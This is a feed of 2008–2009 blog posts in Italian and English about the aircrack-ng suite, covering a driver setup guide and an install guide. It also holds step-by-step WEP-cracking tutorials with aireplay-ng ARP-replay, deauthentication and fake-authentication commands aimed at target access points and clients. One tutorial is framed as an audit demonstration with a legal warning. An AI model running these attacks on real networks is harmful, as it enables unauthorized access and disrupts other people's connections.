<p><span style="font-size:small;"><span style="text-decoration:underline;">ARP REPLAY</span></span></p>
<p>Ora che sappiamo come funziona l&#8217;iniezione di pacchetti, possiamo fare qualcosa per velocizzare enormemente la cattura degli IV:&#8211;&#62;<a href="http://aircrack-ng.org/doku.php?id=arp-request_reinjection" target="_blank">ARP-request reinjection</a></p>
<p>L&#8217;Idea</p>
<p><a href="http://en.wikipedia.org/wiki/Address_Resolution_Protocol" target="_blank">ARP</a> opera (per dirla in modo semplice) diffondendo una richiesta di un IP, ed il dispositivo che ha qull&#8217;IP risponde. Dato che il WEP non protegge contro la reiterazione, potete sniffare un pacchetto e inoltrarlo ancora ed ancora mantenendolo valido. Così dovete solo catturare e replicare una richiesta ARP indirizzata all&#8217;AP per creare molto traffico (e sniffare gli IV).</p>
<p><span style="font-size:small;"><span style="text-decoration:underline;">Il metodo pigro</span></span></p>
<p>Per prima cosa aprite una fiestra con uno sniffing di <a href="http://aircrack-ng.org/doku.php?id=airodump-ng" target="_blank">airodump-ng</a> per il traffico (vedi sopra). <a href="http://aircrack-ng.org/doku.php?id=aireplay-ng" target="_blank">aireplay-ng</a> ed <a href="http://aircrack-ng.org/doku.php?id=airodump-ng" target="_blank">airodump-ng</a> possono essere eseguiti assieme. Aspettate che un client appaia sulla rete bersaglio. Poi iniziate l&#8217;attacco:<br />
____________________________________________________________________<br />
aireplay-ng &#8211; -arpreplay -b 00:01:02:03:04:05 -h 00:04:05:06:07:08 rausb0<br />
____________________________________________________________________</p>
<p>-b specifica il BSSID dell&#8217;obiettivo, -h il MAC del client connesso.<br />
Ora dovete aspettare che arrivi un pacchetto ARP. Di solito dovrete aspettare per alcuni minuti (o consultate il prossimo capitolo).<br />
Se avete successo, vedrete qualcosa come questo:<br />
__________________________________________________<br />
Saving ARP requests in replay_arp-0627-121526.cap<br />
You must also start airodump to capture replies.<br />
Read 2493 packets (got 1 ARP requests), sent 1305 packets&#8230;<br />
__________________________________________________</p>
<p>Se dovete smettere di replicare pacchetti, non dovete aspettare che arrivi il pacchetto ARP successivo, ma potete riutilizzare il/i pacchetto/i successivo/i con l&#8217;opzione -r &#60;nome del file&#62;.</p>
<p>Quando utilizzate la tecnica d&#8217;iniezione ARP, potete utilizzare il metodo PTW per craccare la chiave WEP. Ciò riduce drasticamente il numero di pacchetti di dati ed il tempo di cui avete bisogno. Dovete catturare l&#8217;intero pacchetto in airodump-ng, il che significa che non dovete usare l&#8217;opzione &#8220;- -ivs&#8221; quando lo avviate. Per <a href="http://aircrack-ng.org/doku.php?id=aircrack-ng" target="_blank">aircrack-ng</a>, utilizzate &#8220;aircrack-ng -z &#60;nome del file&#62;&#8221;.</p>
<p>Se il numero di pacchetti di dati ricevuto da airodump-ng a volte smette di salire, forse dovreste ridurre il replay-rate. Potete farlo con l&#8217;opzione &#8220;-x &#60;pacchetti al secondo&#62;. Di solito inizio con 50 e li riduco finché I pacchetti non vengono nuovamente ricevuti con continuità . Un migliore posizionamento della vostra antenna di solito aiuta.</p>
<p><span style="font-size:small;"><span style="text-decoration:underline;">Il metodo aggressivo</span></span></p>
<p>Molti sistemi operativi cancellano la cache ARP al memento della disconnessione. Se vogliono inviare il pacchetto successivo dopo la riconnessione (o semplicemente usare il DHCP), devono inviare richieste ARP. Perciò l&#8217;idea é disconnettere un client e forzarlo a riconnettersi per catturare una richiesta [di] ARP. Un effetto collaterale é che potete sniffare anche l&#8217;ESSID durante la riconnessione. Ciò é utile quando l&#8217;ESSID del vostro bersaglio é nascosto.</p>
<p>Continuate ad eseguire I vostri airodumpng ed aireplay-ng. Aprite un&#8217;altra finestra e lanciate un attacco di <a href="http://aircrack-ng.org/doku.php?id=deauthentication" target="_blank">deauthentication</a>:<br />
___________________________________________________________________<br />
aireplay-ng &#8211; -deauth 5 -a 00:01:02:03:04:05 -c 00:04:05:06:07:08 rausb0<br />
___________________________________________________________________</p>
<p>-a é il BSSID dell&#8217;AP, -c il MAC del client bersaglio.</p>
<p>Aspettate alcuni secondi ed il vostro arp replay dovrebbe iniziare a girare.<br />
Molti client provano a riconnettersi automaticamente. Ma il rischio che qualcuno riconosca quest&#8217;attacco (o che se non altro venga attirata l&#8217;attenzione su ciò che accade sulla WLAN) é più alto che con altri attacchi.</p>
<p>Per qualsiasi cosa, postate!!!</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Guida all’installazione della nuova RC2 di Aircrack-ng]]></title>
<link>http://backtrackcommunity.wordpress.com/2009/05/10/guida-all%e2%80%99installazione-della-nuova-rc2-di-aircrack-ng/</link>
<pubDate>Sun, 10 May 2009 17:05:23 +0000</pubDate>
<dc:creator>h3yboy</dc:creator>
<guid>http://backtrackcommunity.wordpress.com/2009/05/10/guida-all%e2%80%99installazione-della-nuova-rc2-di-aircrack-ng/</guid>
<description><![CDATA[Prima di avventurarci nell’installazione della nuova rc di aircrack-ng analizziamo i tools della sui]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Prima di avventurarci nell’installazione della nuova rc di aircrack-ng analizziamo i tools della suite che sono stati aggiunti e/o migliorati e le principali novità di questo rilascio.<br />
Tools:</p>
<ul>
<li>Airdecloak-ng consente ora di rimuove dal file .cap il “wep cloaked frames” (introdotto ultimamente su alcuni Access Point per rafforzare il protocollo wep).</li>
<li>Tkip-tun-ng prima versione ancora purtroppo non definitiva, e quindi non completamente funzionanete, che mette in pratica la vulnerabilità scoperta qualche mese fa da Martin Beck ed Erik Tews sui protocolli WPA1/2-TKIP.</li>
<li>Aggiornamento anche di  Airbase-ng, Airdriver-ng e Airodump-ng.</li>
</ul>
<p>Principali novità introdotte:</p>
<ul>
<li>Durante il crack della chiave sarà ora possibile utilizzare il codice sha-sse2. Ciò comporta naturalmente ad una notevole dei tempi di crack.</li>
<li>Possibilità di sfruttare al meglio le CPU dei processori Duo.</li>
<li>È ora possibile utilizzare un attaco a dizionario anche per chiavi wep.</li>
<li>Possibilità di salvare i file nel formato .csv utilizzato da kismet.</li>
</ul>
<p>Possiamo ora procedere all’installazione eliminando prima di tutto la nostra vecchia versione di aircrack-ng mediante questi comandi:</p>
<blockquote><p>sudo apt-get remove –purge aircrack-ng</p></blockquote>
<p>Scarichiamo ed installiamo ora la rc2 svn di aircrack mediante ed eseguiamo da terminale i seguenti comandi per procedere con l’installazione:</p>
<blockquote><p>svn co http://trac.aircrack-ng.org/svn/trunk aircrack-ng<br />
cd aircrack-ng/<br />
make<br />
sudo make install</p></blockquote>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ubuntu8.10 : Aircrack-ng with RTL8187 (Alfa AWUS036H)]]></title>
<link>http://vpoint7.wordpress.com/2009/04/04/ubuntu810-with-aircrack-ng-rtl8187/</link>
<pubDate>Sat, 04 Apr 2009 01:30:01 +0000</pubDate>
<dc:creator>DeathOwl</dc:creator>
<guid>http://vpoint7.wordpress.com/2009/04/04/ubuntu810-with-aircrack-ng-rtl8187/</guid>
<description><![CDATA[I got some friends asking for help on Ubuntu8.10 for the USB wifi RTL8187 setup. I give it a try, an]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>I got some friends asking for help on Ubuntu8.10 for the USB wifi RTL8187 setup. I give it a try, and it works well for both monitoring &#38; injection. So lets start from a scratch of clean install of Ubuntu8.10 distro &#38; remind that this issue have been covered in various sites including the Ubuntu forum and the Aircrack community. My working environment is under VMware Workstation 6.5.2beta with NAT connection. There is no difference with command between HDD installation or Vmware.</p>
<p><span style="color:purple;">First step, update your Ubuntu8.10?</span><br />
After we complete install Ubuntu8.10 under VMware, we need to update all important requirement for the aircrack-ng program to work well under Ubuntu8.10. Naturally, there will be an auto notification tells that some update is required at the top right of Ubuntu8.10 desktop or you may just navigate to System &#62; Administration &#62; Update Manager for the updates. There were about at least 301 updates for the first time installation of Ubuntu8.10, but the most important updates are gcc, the kernel-headers, module-assistant package and the associates. These processes may take some time depending on your speed of internet connection.</p>
<p><img src="http://vpoint7.files.wordpress.com/2009/05/ubuntu810-updating-vp7.jpg" alt="/" /></p>
<p><span style="color:purple;">Second step, installing aircrack-ng?</span><br />
All updates above should be properly installed as it is considered to be automatic process. I prefer to install the firmware/driver before attaching the USB wifi device physically. Again, for the smoothness of our installation process, lets change user to root. It can be done by command <font color="orange">sudo -i</font>. Now, we are ready to install aircrack-ng suites into Ubuntu8.10. Navigate to System &#62; Administration &#62; Synaptic Package Manager. Click on Search icon, key in aircrack and start searching. Click the apply icon when ready to install.</p>
<p><img src="http://vpoint7.files.wordpress.com/2009/05/ubuntu810-install_aircrack-vp7.jpg" alt="/" /></p>
<p><span style="color:purple;">Third step, removing the old drivers?</span><br />
With the root access, <font color="orange">root@ubuntu:~#</font>, lets remove the old firmware/driver that comes along with the kernel installed previously.</p>
<p>root@ubuntu:~# <font color="orange">cd /lib/modules/2.6.27-7-generic/kernel/drivers/net/wireless/</font><br />
root@ubuntu:/lib/modules/2.6.27-7-generic/kernel/drivers/net/wireless/# <font color="orange">rm rtl8187.ko</font><br />
root@ubuntu:/lib/modules/2.6.27-7-generic/kernel/drivers/net/wireless/# <font color="orange">cd</font><br />
root@ubuntu:~#</p>
<p>Another place to remove the old driver,</p>
<p>root@ubuntu:~# <font color="orange">cd /lib/modules/2.6.27-7-generic/kernel/net/ieee80211/</font><br />
root@ubuntu:/lib/modules/2.6.27-7-generic/kernel/net/ieee80211# <font color="orange">rm ieee80211_crypt_wep.ko</font><br />
root@ubuntu:/lib/modules/2.6.27-7-generic/kernel/net/ieee80211# <font color="orange">rm ieee80211_crypt.ko</font><br />
root@ubuntu:/lib/modules/2.6.27-7-generic/kernel/net/ieee80211# <font color="orange">rm ieee80211_crypt_ccmp.ko</font><br />
root@ubuntu:/lib/modules/2.6.27-7-generic/kernel/net/ieee80211# <font color="orange">rm ieee80211_crypt_tkip.ko</font><br />
root@ubuntu:/lib/modules/2.6.27-7-generic/kernel/net/ieee80211# <font color="orange">rm ieee80211.ko</font></p>
<p><img src="http://vpoint7.files.wordpress.com/2009/05/ubuntu810-removing_driver-vp71.jpg" alt="/" /></p>
<p><span style="color:purple;">Fourth step, installing the new driver for RTL8187?</span><br />
Up until here, I haven&#8217;t attach the wireless card. Continue on our modification,</p>
<p>root@ubuntu:~# <font color="orange">rmmod r8187 rtl8187 2&#62;/dev/null</font><br />
root@ubuntu:~# <font color="orange">mkdir /usr/src/drivers</font><br />
root@ubuntu:~# <font color="orange">cd /usr/src/drivers</font><br />
root@ubuntu:/usr/src/drivers# <font color="orange">wget http://dl.aircrack-ng.org/drivers/rtl8187_linux_26.1010.zip</font><br />
root@ubuntu:/usr/src/drivers# <font color="orange">wget http://patches.aircrack-ng.org/rtl8187_2.6.27.patch</font><br />
root@ubuntu:/usr/src/drivers# <font color="orange">unzip rtl8187_linux_26.1010.zip</font><br />
root@ubuntu:/usr/src/drivers# <font color="orange">cp -v rtl8187_2.6.27.patch -t rtl8187_linux_26.1010.0622.2006</font><br />
root@ubuntu:/usr/src/drivers# <font color="orange">cd rtl8187_linux_26.1010.0622.2006/</font><br />
root@ubuntu:/usr/src/drivers/rtl8187_linux_26.1010.0622.2006# <font color="orange">tar xzf drv.tar.gz</font><br />
root@ubuntu:/usr/src/drivers/rtl8187_linux_26.1010.0622.2006# <font color="orange">tar xzf stack.tar.gz</font></p>
<p>After all adjustment above, we need to make some changes on r8187.h file. Lets hunt this file,</p>
<p>root@ubuntu:/usr/src/drivers/rtl8187_linux_26.1010.0622.2006# <font color="orange">cd beta-8187/</font><br />
root@ubuntu:/usr/src/drivers/rtl8187_linux_26.1010.0622.2006/beta-8187# <font color="orange">gedit r8187.h</font></p>
<p>So that, some changes need to be done in lines 46 &#38; 47,<br />
Ogirinal lines on 46 &#38; 47 are :<br />
#include &#60;asm/io.h&#62;<br />
#include &#60;asm/semaphore.h&#62;</p>
<p>We overwrite lines 46,47 to this :<br />
#if (LINUX_VERSION_CODE &#60; KERNEL_VERSION(2,6,19))<br />
#include &#60;asm/io.h&#62;<br />
#include &#60;asm/semaphore.h&#62;<br />
#else<br />
#include &#60;linux/io.h&#62;<br />
#include &#60;linux/semaphore.h&#62;<br />
#endif</p>
<p>Original settings</p>
<p><img src="http://vpoint7.files.wordpress.com/2009/05/ubuntu810-before_edit-vp7.jpg" alt="/" /></p>
<p>Modified settings<br />
<img src="http://vpoint7.files.wordpress.com/2009/05/ubuntu810-after_edit-vp7.jpg" alt="/" /></p>
<p>Save it &#38; we are ready to execute the compilation. Return to rtl8187_linux_26.1010.0622.2006 folder,</p>
<p>root@ubuntu:/usr/src/drivers/rtl8187_linux_26.1010.0622.2006# <font color="orange">apt-get install patch</font><br />
root@ubuntu:/usr/src/drivers/rtl8187_linux_26.1010.0622.2006# <font color="orange">patch -Np1 -i rtl8187_2.6.27.patch</font><br />
root@ubuntu:/usr/src/drivers/rtl8187_linux_26.1010.0622.2006# <font color="orange">make</font><br />
root@ubuntu:/usr/src/drivers/rtl8187_linux_26.1010.0622.2006# <font color="orange">make install</font></p>
<p>Everything should works well without error. Restart your distro and connect your card (eg : Alfa AWUS036H) or any card with RTL8187 based chipset. </p>
<p><img src="http://vpoint7.files.wordpress.com/2009/05/ubuntu8-10-aircrack-vp7.jpg" alt="/" /></p>
<p>Diagram above show an example of cracked wireless under 2minutes with Alfa AWUS036H. All the command to use aircrack-ng program is exactly the same except the device had to be changed to wlan0 or wlan1 depending on what you saw on terminal with <font color="orange">ifconfig -a</font>. You may refer <a href="http://vpoint7.wordpress.com/2008/09/02/rt73-with-backtrack3/">HERE</a>.</p>
<p><span style="color:purple;">Do you have tutorial for RTL8187 in Ubuntu9.04 ?</span><br />
Yes, you may refer inside my forum, <a href="http://www.vpoint7.com/forum/viewforum.php?f=6">HERE</a>. <font color="red">Register to forum to view content.</font></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Aircrack-ng: Exploiting Intialization Vectors]]></title>
<link>http://ericleite.com/2009/03/29/wireless-audit-cracking-wep-with-aircrack-ng-utility/</link>
<pubDate>Mon, 30 Mar 2009 02:56:12 +0000</pubDate>
<dc:creator>ericleite</dc:creator>
<guid>http://ericleite.com/2009/03/29/wireless-audit-cracking-wep-with-aircrack-ng-utility/</guid>
<description><![CDATA[Only recently have I begun to realize the truly insecure nature of modern day computer networking. S]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Only recently have I begun to realize the truly insecure nature of modern day computer networking. Sadly, I&#8217;ve only been exposed to the tip of the iceberg. So what a better way to share my concern than to show everyone how easily a WEP wireless network can be tapped into by exploiting captured, weak initialization vectors. To do this, I am going to present instructions on how to use a well-known auditing and cracking tool named Aircrack-ng. The goal of this demonstration is to show how easy it is for a semi-savvy user to infiltrate a &#8220;secure&#8221;, WEP wireless network.</p>
<p>Before we continue, a special thanks to Dr. R. Vaughn for the inspiration to pursue the truth, and to T. Nguyen for his initial research and demonstration. Credit for this application belongs to developer Thomas d&#8217;Otreppe and a galactica of other programmers from around the world. Thanks.</p>
<p>Here&#8217;s a checklist of what you&#8217;ll need before you begin:</p>
<ul>
<li>Linux platform (HD Install, Live CD, and USB mediums all work)</li>
<li>Aircrack-ng version 1.0-rc3 or later (<a href="http://www.aircrack-ng.org/doku.php#download" target="_blank">download</a>)</li>
<li>Compatible wireless card (<a href="http://www.aircrack-ng.org/doku.php?id=compatible_cards" target="_blank">more info</a>)</li>
<li>A wireless router to serve as a target access point (AP)<br />
<strong>LEGAL WARNING</strong>: Do not use this tool on an unauthorized network.  Experts in the United States believe that sometimes, such use of an unsecured wireless network may be considered an &#8220;unauthorized access of a computer&#8221; which is prohibited under Federal law and even theft of communications. Legal causes of action which were cited include defrauding the Internet service provider and a breach of the Internet service agreement. (<a href="http://www.ibls.com/internet_law_news_portal_view.aspx?s=latestnews&#38;id=1686" target="_blank">source</a>)</li>
</ul>
<p>There are seven primary steps to cracking a WEP encrypted wireless network. These steps serve as an overview of this tutorial:</p>
<ol>
<li>Checking the status of your wireless device</li>
<li>Enabling &#8220;monitor mode&#8221; on your wireless device</li>
<li>Scanning local wireless access points and choosing the target</li>
<li>Filter the scan to display desired target only</li>
<li>Send Authentication Request and Associate with AP</li>
<li>Generate and capture sufficient traffic data</li>
<li>Crack captured Initialization Vectors (IVs) and decrypt WEP key</li>
</ol>
<p>For clarification, you should know that the screenshots below were taken on a BackTrack3 linux sec distribution. I used a HD install setup and a wireless card manufactured by Edimax (model: <a href="http://www.edimax.com/en/produce_detail.php?pd_id=8&#38;pl1_id=1&#38;pl2_id=44" target="_blank">ew-7318usg</a>). I had to manually install RT73 (USB) drivers published by <a href="http://rt2x00.serialmonkey.com/wiki/index.php/Downloads" target="_blank">serialmonkey</a>.</p>
<p><strong>Step 1: Checking the status of your wireless device<br />
</strong></p>
<p>We&#8217;ll begin by verifying that you have an installed wireless device:</p>
<ul>
<li>Open up a shell console.</li>
<li>Type <strong>iwconfig </strong>to list all recognized wireless devices.</li>
<li>You may see several devices listed. Possible names are eth0, wlan0, rausb0, etc.<br />
eth = ethernet, wlan = wireless interface, rausb = USB wireless interface<br />
note: the numerical suffix in the device name represents a method of ordering the devices for the computer</li>
</ul>
<p>Determine which wireless device you&#8217;ll be using and remember that device name for later.</p>
<p>Next, we&#8217;ll use the <strong>ifconfig </strong>command to record the mac address of your selected wireless device.</p>
<ul>
<li>In the shell, type <strong>ifconfig &#60;device name&#62;</strong> to bring up the configuration for your selected device.<br />
<em>example: ifconfig rausb0</em></li>
</ul>
<div id="attachment_104" class="wp-caption aligncenter" style="width: 415px"><img class="size-full wp-image-104" title="iwconfig + ifconfig" src="http://ericleite.wordpress.com/files/2009/03/iwconfig_ifconfig.png" alt="Using iwconfig and ifconfig to gather your device info" width="405" height="295" /><p class="wp-caption-text">Image 1-0 // Using iwconfig and ifconfig to gather your device info</p></div>
<p>Note: Image 1-0 shows &#8220;no wireless extensions&#8221; next to lo, and eth0. That is because neither of these devices are wireless. lo = local loopback and eth0 = wired ethernet. I will be using &#8220;rausb0&#8243; in my examples. <em>You must replace &#8220;rausb0&#8243; in the following commands with whatever your wireless device name is.</em></p>
<p><strong>Step 2 &#8211; Enabling &#8220;monitor mode&#8221; on your wireless device<br />
</strong></p>
<p>Using the Aircrack-ng utility package we installed, we will use the <strong>airmon-ng </strong>command to list the recognized devices, change our target device from Managed to Monitor mode, and than verify that our wireless devices has been properly modified by revisiting the <strong>iwconfig </strong>command.</p>
<ul>
<li>In the shell console, type <strong>airmon-ng</strong>. A list of recognized wireless devices will appear.</li>
<li>Type <strong>airmon-ng start &#60;device name&#62;</strong> to set your wireless device to Monitor mode.<br />
Note: replace &#60;device name&#62; with the wireless device you&#8217;ve chosen to use. In this case I used rausb0.<br />
<em>example: airmon-ng start rausb0</em></li>
<li>Finally, type <strong>iwconfig &#60;device name&#62;</strong> to verify that your device Mode is set to &#8220;Monitor&#8221;.<br />
<em>example: iwconfig rausb0</em></li>
</ul>
<div id="attachment_99" class="wp-caption aligncenter" style="width: 415px"><img class="size-full wp-image-99" title="Airomon-ng &#38; iwconfig results" src="http://ericleite.wordpress.com/files/2009/03/airomon_iwconfig_results.png" alt="Image 1-1 // Setting mode to Monitor using Airmon-ng and confirming with iwconfig" width="405" height="295" /><p class="wp-caption-text">Image 1-1 // Setting mode to Monitor and confirming with iwconfig</p></div>
<p><strong>Step 3 &#8211; Scanning local wireless APs and choosing the target<br />
</strong></p>
<p>Now that your device is in monitor mode, we can scan for local wireless traffic and zero in on our target using the <strong>airodump-ng </strong>command.</p>
<ul>
<li>In your shell console, type <strong>airodump-ng &#60;device name&#62;</strong> to begin gathering wireless traffiic data. Over time, you will begin to see wireless access points in your vicinity pop up (if any exist). It is even possible that airodump-ng will begin to gather data on clients that are connected to the wireless APs. You&#8217;ll see these stations listed in seperate section.<br />
<em>example: airodump-ng rausb0</em>airodump-ng legend [Image 1-2]:<br />
BSSID = the mac address of the AP<br />
PWR = power of signal strength<br />
Beacons = number of beacon packets sent out, these packets broadcast AP information<br />
#Data = number of data packets being generated<br />
#/s = number of data packets per second<br />
CH = channel number of wireless signal<br />
MB = # Mb/s type encryption<br />
ENC = Encryption method<br />
CIPHER = Cipher type<br />
AUTH = Authentication type<br />
ESSID = SSID name of wireless network</li>
</ul>
<div id="attachment_101" class="wp-caption aligncenter" style="width: 415px"><img class="size-full wp-image-101" title="airodump-ng scan results" src="http://ericleite.wordpress.com/files/2009/03/airodump_scan.png" alt="Image 1-2 // Using airodump-ng to capture wireless traffic information" width="405" height="288" /><p class="wp-caption-text">Image 1-2 // Using airodump-ng to capture wireless traffic</p></div>
<p><strong>Step 4 &#8211; Filter the scan to display desired target only</strong></p>
<p>After<strong> </strong>a few seconds, airodump-ng should have displayed the necessary information for your target wireless network. Record the following information for the target network for use later on: BSSID, Channel Number, and ESSID. Now we&#8217;re going to use airodump-ng to filter this list and hone in our our target AP.</p>
<ul>
<li>Stop your current airodump-ng scan if you haven&#8217;t yet by hitting <strong>ctrl-c<br />
</strong></li>
<li>Type <strong>airodump-ng -c &#60;number&#62; -w &#60;filename&#62; -b &#60;bssid&#62; &#60;device name&#62;</strong><br />
<em>example: airodump-ng -c 10 -w dump -b 00:18:F8:72:7A:1E rausb0</em><em></em>airodump-ng legend:<br />
-c &#60;number&#62; = &#60;number&#62; represents the channel number for the target AP<br />
-w &#60;filename&#62; = &#60;filename&#62; represents the filename that airodump-ng will create to store Initialization Vectors (IVs). Use something simple like &#8220;dump&#8221;.<br />
-b &#60;bssid&#62; = &#60;bssid&#62; represents the mac address of the target AP<br />
&#60;device name&#62; = &#60;device name&#62; represents whatever your wireless device name is. in our example we used rausb0.</li>
</ul>
<div id="attachment_102" class="wp-caption aligncenter" style="width: 415px"><img class="size-full wp-image-102" title="airodump-ng initial results" src="http://ericleite.wordpress.com/files/2009/03/airodump_initial_results.png" alt="Image 1-3 // Using airodump-ng to filter the scan to our primary target" width="405" height="295" /><p class="wp-caption-text">Image 1-3 // Using airodump-ng to filter the scan onto primary target</p></div>
<p><strong>Step 5 &#8211; Send Authentication Request and Associate with AP<br />
</strong></p>
<p>Once you&#8217;re monitoring the target AP, you&#8217;ll need to send an authentication request in order to associate your machine with the AP. This command will allow us to inject data packets into the AP later on, and generate enough data in order to efficiently crack WEP and decrypt the key.</p>
<ul>
<li>Let airodump-ng from step 4 continue to scan the target AP.</li>
<li>Open up a new shell console.</li>
<li>In the new shell, type:<br />
<strong>aireplay-ng -1 0 –b &#60;bssid&#62; –h &#60;device mac address&#62; –e &#60;essid name&#62; &#60;device name&#62;</strong><br />
<em>example: aireplay-ng -1 0 -b 00:18:F8:72:7A:1E -h 00:11:22:33:44:55 -e TOYSTORY rausb0</em>aireplay-ng legend:<br />
-1 0 = &#8220;-1 0&#8243; corresponds to an attack by fake authentication, the zero is the delay that we authorize for the answer to come in.<br />
-b &#60;bssid&#62; = &#60;bssid&#62; refers to the mac address of the target AP.<br />
-h &#60;deviec mac address&#62; = use the mac address of your computer&#8217;s wireless device (refer to Image 1-0).<br />
-e &#60;essid name&#62; = &#60;essid name&#62; refers to the string name of your target AP.<br />
<em>examples: linksys, NETGEAR, homerouter, c4ntcr4ckth1s</em><br />
&#60;device name&#62; = &#60;device name&#62; represents whatever your wireless device name is. in our example we used rausb0.</li>
</ul>
<div id="attachment_105" class="wp-caption aligncenter" style="width: 415px"><img class="size-full wp-image-105" title="aireplay association successful" src="http://ericleite.wordpress.com/files/2009/03/aireplay_association_results.png" alt="Image 1-4 // Using aireplay-ng to send authentication request" width="405" height="295" /><p class="wp-caption-text">Image 1-4 // Using aireplay-ng to send authentication request</p></div>
<p><strong>Step 6 &#8211; Generate and capture sufficient traffic data<br />
</strong></p>
<p>Now that we&#8217;ve sent our authentication request and associated successfully, we can begin our ARP-request injection. The key to this step is to force a rapid increase in the amount of data being transmitted at the AP. As you monitor the data column with airodump-ng, you&#8217;ll notice the data value rising slowly, depending on the amount of traffic that is being generated on that access point. There are several factors that determine this, one of them being whether there are any connected clients who are using the internet.</p>
<p>With ARP-request injection, aireplay-ng listens for an ARP packet, then retransmits it back to the access point. This, in turn, causes the access point to repeat the ARP packet with a new Initialization Vector (IV). The program retransmits the same ARP packet over and over. However, each ARP packet repeated by the access point has a new IV. It is all these new IVs which allow you to decrypt the WEP key.</p>
<ul>
<li>Using the same shell from Step 5, or via a new shell, type the command:<br />
<strong>aireplay-ng -3 –b &#60;bssid&#62; –h &#60;device mac address&#62; &#60;device name&#62;</strong><br />
<em>example: aireplay-ng -3 -b 00:18:F8:72:7A:1E -h 00:1F:1F:27:D2:63 rausb0</em>aireplay-ng legend:<br />
-3 = &#8220;3&#8243; refers to the arpreplay         module<br />
-b &#60;bssid&#62; = &#60;bssid&#62; refers to the mac address of the target AP.<br />
-h &#60;device mac address&#62; = use the mac address of your computer&#8217;s wireless device (refer to Image 1-0).<br />
&#60;device name&#62; = &#60;device name&#62; represents whatever your wireless device name is. in our example we used rausb0.</li>
<li>[Image 1-5] You may need to wait a few seconds or minutes, but you should soon start to see a fast flood of ARP requests come across your screen.</li>
</ul>
<div id="attachment_106" class="wp-caption aligncenter" style="width: 415px"><img class="size-full wp-image-106" title="aireplay-ng arp request flood" src="http://ericleite.wordpress.com/files/2009/03/aireplay_injection.png" alt="Image 1-5" width="405" height="280" /><p class="wp-caption-text">Image 1-5 // Using aireplay-ng for arp request injection flooding</p></div>
<ul>
<li>[Image 1-6] Glance over at the shell that is running airodump-ng (step 4) and you should start noticing the data for your target AP increase dramatically into the thousands.</li>
</ul>
<div id="attachment_107" class="wp-caption aligncenter" style="width: 415px"><img class="size-full wp-image-107" title="target ap data skyrocketing" src="http://ericleite.wordpress.com/files/2009/03/data_skyrocketing.png" alt="target ap data skyrocketing" width="405" height="288" /><p class="wp-caption-text">Image 1-6 // Airodump-ng (step 4) showing rapid data traffic increase</p></div>
<ul>
<li>At this point, thousands of IVs are being captured and deposited into the file you created in step 4 (if you used my example, the file will be named something like dump-01.cap). In order for the aircrack-ng utility to be succesful, you must capture at least 10,000 packets of data. The more data you capture, the greater your probability of being successful in decrypting the WEP key. I recommend letting the #Data reach nearer to 30,000 if you want a high success rate.</li>
<li>Hit <strong>ctrl-c</strong> to stop your ARP requests once you notice your #Data has reached a high enough value.</li>
</ul>
<p><strong>Step 7 &#8211; Crack Initialization Vectors (IVs) and decrypt WEP key</strong></p>
<p>Now we&#8217;ll ask aircrack-ng to analyze our dump file and begin the process of decrypting the IVs for the WEP key.</p>
<ul>
<li>Use the command <strong>aircrack-ng -b &#60;bssid&#62; &#60;full filename&#62;</strong> to begin cracking.<br />
<em>example: aircrack-ng -b 00:18:F8:72:7A:1E dump-01.cap</em><em></em>aircrack-ng legend:<br />
-b &#60;bssid&#62; = &#60;bssid&#62; refers to the mac address of the target AP.<br />
&#60;full filename&#62; = &#60;full filename&#62; refers to the complete filename of the file used to capture IVs. (in our example we created the file in the root directory, and using a simple <strong>ls</strong> command told us the filename was dump-01.cap)<br />
note: when creating the dump file, &#8220;-01&#8243; was automatically added in order to prevent file overwriting. this pattern continues with all consequent file creations receiving a unique suffix<br />
(dump-01, dump-02, dump-03, dump-04, etc .)</li>
<li>If you captured enoughweak IVs, aircrack-ng crack successfully and you&#8217;ll be shown the hex value for the WEP key</li>
</ul>
<div id="attachment_108" class="wp-caption aligncenter" style="width: 415px"><img class="size-full wp-image-108" title="successful key decryption" src="http://ericleite.wordpress.com/files/2009/03/successful_key_decrypt.png" alt="Image 1-6" width="405" height="280" /><p class="wp-caption-text">Image 1-7 // Successful decryption and hex representation of WEP key</p></div>
<p>Now it&#8217;s as simple as entering the hex values into a wireless assistant manager in order to gain access to the WEP wireless network. Hardly comforting. Feel free to leave any questions, comments or concerns below and I&#8217;ll do my best to respond or help you resolve any issues.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[pwning the pwnd]]></title>
<link>http://cx22.wordpress.com/2009/02/02/pwning-the-pwnd/</link>
<pubDate>Mon, 02 Feb 2009 15:45:59 +0000</pubDate>
<dc:creator>cx22</dc:creator>
<guid>http://cx22.wordpress.com/2009/02/02/pwning-the-pwnd/</guid>
<description><![CDATA[I got some surprise growing when I first saw the neo-pwn edition. I dont quite understand the freedo]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>I got some surprise growing when I first saw the <a href="http://www.neopwn.com/">neo-pwn edition</a>.</p>
<p>I dont quite understand the freedom of the GPL. Or yes I do, but I dont like others taking too much profit out of community effort. I want to read the sources. And now it results that I have to buy their microsd card before they think if they can show me their wonderful kernel customizations.</p>
<p>Fortunately, we are reading <a href="http://forums.remote-exploit.org/showthread.php?p=114188">here</a> that since 2.6.28 version there is a good mac80211 stack included in the kernel, which makes the magic alfa 500 card work quite well, including monitor mode and injection rate, as long as wpa and wpa2 management with the same driver. </p>
<p>I&#8217;m trying aircrack patches with the 2.6.29 git openmoko &#8211; andy-tracking branch, and then we will see if we can build the rtl8187 module&#8230; that way we will have a pretty penetration-testing mobile platform&#8230; with all the debian goodies included <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Keep reading&#8230;</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[ipw2200 (Intel PRO/Wireless 2200BG) packet injection]]></title>
<link>http://pistulunestaminchiazza.wordpress.com/2008/11/18/ipw2200-intel-prowireless-2200bg-packet-injection/</link>
<pubDate>Tue, 18 Nov 2008 15:26:00 +0000</pubDate>
<dc:creator>U-Black</dc:creator>
<guid>http://pistulunestaminchiazza.wordpress.com/2008/11/18/ipw2200-intel-prowireless-2200bg-packet-injection/</guid>
<description><![CDATA[Leggendo un pò di post qua e la nella rete, mi sono imbattuto spesso in dissertazioni varie sul pack]]></description>
